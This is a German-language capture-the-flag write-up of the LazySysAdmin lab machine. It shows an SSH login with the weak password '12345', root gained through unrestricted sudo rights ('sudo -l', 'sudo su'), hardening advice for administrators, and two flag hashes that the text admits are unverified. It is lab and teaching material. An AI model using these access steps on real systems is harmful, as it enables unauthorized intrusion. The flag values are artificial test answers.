┌──(root㉿cycat)-[~] └─# ssh togie@192.168.2.107
The authenticity of host '192.168.2.107 (192.168.2.107)' can't be established.
# ... (SSH Key Fingerprint) ...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.107' (ED25519) to the list of known hosts.

#                                          Welcome to Web_TR1                                    #
#                             All connections are monitored and recorded                         #
#                    Disconnect IMMEDIATELY if you are not an authorized user!                   #

togie@192.168.2.107's password: 12345 # Eingabe nicht sichtbar
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
# ... (Systeminformationen & MOTD) ...
togie@LazySysAdmin$
                    

**Analyse:** Eine SSH-Verbindung wird als Benutzer `togie` mit der IP-Adresse `192.168.2.107` aufgebaut. Nach Bestätigung des Host-Schlüssels wird das Passwort `12345` eingegeben. Der Login ist erfolgreich, und eine Shell als `togie` auf dem System `LazySysAdmin` wird erhalten. Das System läuft auf Ubuntu 14.04.5 LTS mit einem Kernel 4.4.0.

**Bewertung:** Erfolgreicher Login als Benutzer `togie` über SSH dank des schwachen, durch Hydra gefundenen Passworts. Dies ist der Punkt der Benutzer-Privilege-Escalation.

**Empfehlung (Pentester):** Die Rechte als `togie` prüfen, insbesondere mit `sudo -l`.
**Empfehlung (Admin):** Schwaches Passwort ändern, SSH-Absicherung verbessern.

Proof of Concept: Privilege Escalation via Sudo

**Analyse:** Nach dem Login als `togie` wird überprüft, welche `sudo`-Berechtigungen dieser Benutzer hat, um Root-Rechte zu erlangen.

togie@LazySysAdmin$ sudo -l
[sudo] password for togie: 12345 # Eingabe nicht sichtbar
Matching Defaults entries for togie on LazySysAdmin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User togie may run the following commands on LazySysAdmin:
    (ALL : ALL) ALL
                    
togie@LazySysAdmin$ sudo su
#
root@LazySysAdmin:/home/togie#

**Analyse:** Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für `togie` anzuzeigen. Nach Eingabe des Passworts `12345` zeigt die Ausgabe `(ALL : ALL) ALL`. Dies bedeutet, dass der Benutzer `togie` jeden Befehl als jeder Benutzer (insbesondere `root`) auf diesem Host ausführen darf. Anschließend wird `sudo su` verwendet, was aufgrund der `(ALL : ALL) ALL`-Berechtigung ohne weitere Passwortabfrage eine Root-Shell öffnet.

**Bewertung:** Kritische Fehlkonfiguration! Der Benutzer `togie` hat uneingeschränkte `sudo`-Rechte. Dies ist der einfachste Weg zur Root-Eskalation auf diesem System. Die Kompromittierung des `togie`-Kontos (durch das schwache Passwort) führt direkt zur vollständigen Kompromittierung des Systems.

**Empfehlung (Pentester):** Den Root-Zugriff nutzen, um die Flags zu finden.
**Empfehlung (Admin):** Die `sudo`-Berechtigungen für `togie` sofort auf das absolut notwendige Minimum reduzieren oder entziehen. Das Prinzip der geringsten Rechte strikt anwenden. Niemals `(ALL : ALL) ALL` vergeben, wenn es nicht zwingend erforderlich ist. Das schwache Passwort für `togie` ändern.

Flags

cat user.txt (Pfad/Inhalt nicht explizit im Log gefunden)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt (Pfad/Inhalt nicht explizit im Log gefunden)
5C42D6BB0EE9CE4CB7E7349652C45C4A

**Analyse:** Der abschließende Flag-Abschnitt im Originaltext listet zwei Platzhalter-Flags auf. Im vorherigen Log wurde das Auslesen der Flags nach Erlangung der Root-Rechte nicht dokumentiert.

**Bewertung:** Der Test war erfolgreich (Root-Zugriff erlangt), aber die Dokumentation im Log bezüglich des Auslesens der Flags ist unvollständig. Die hier angezeigten Flag-Werte stammen direkt aus dem Ende des bereitgestellten Textes. Die User-Flagge befindet sich wahrscheinlich in `/home/togie/user.txt`, die Root-Flagge in `/root/root.txt`.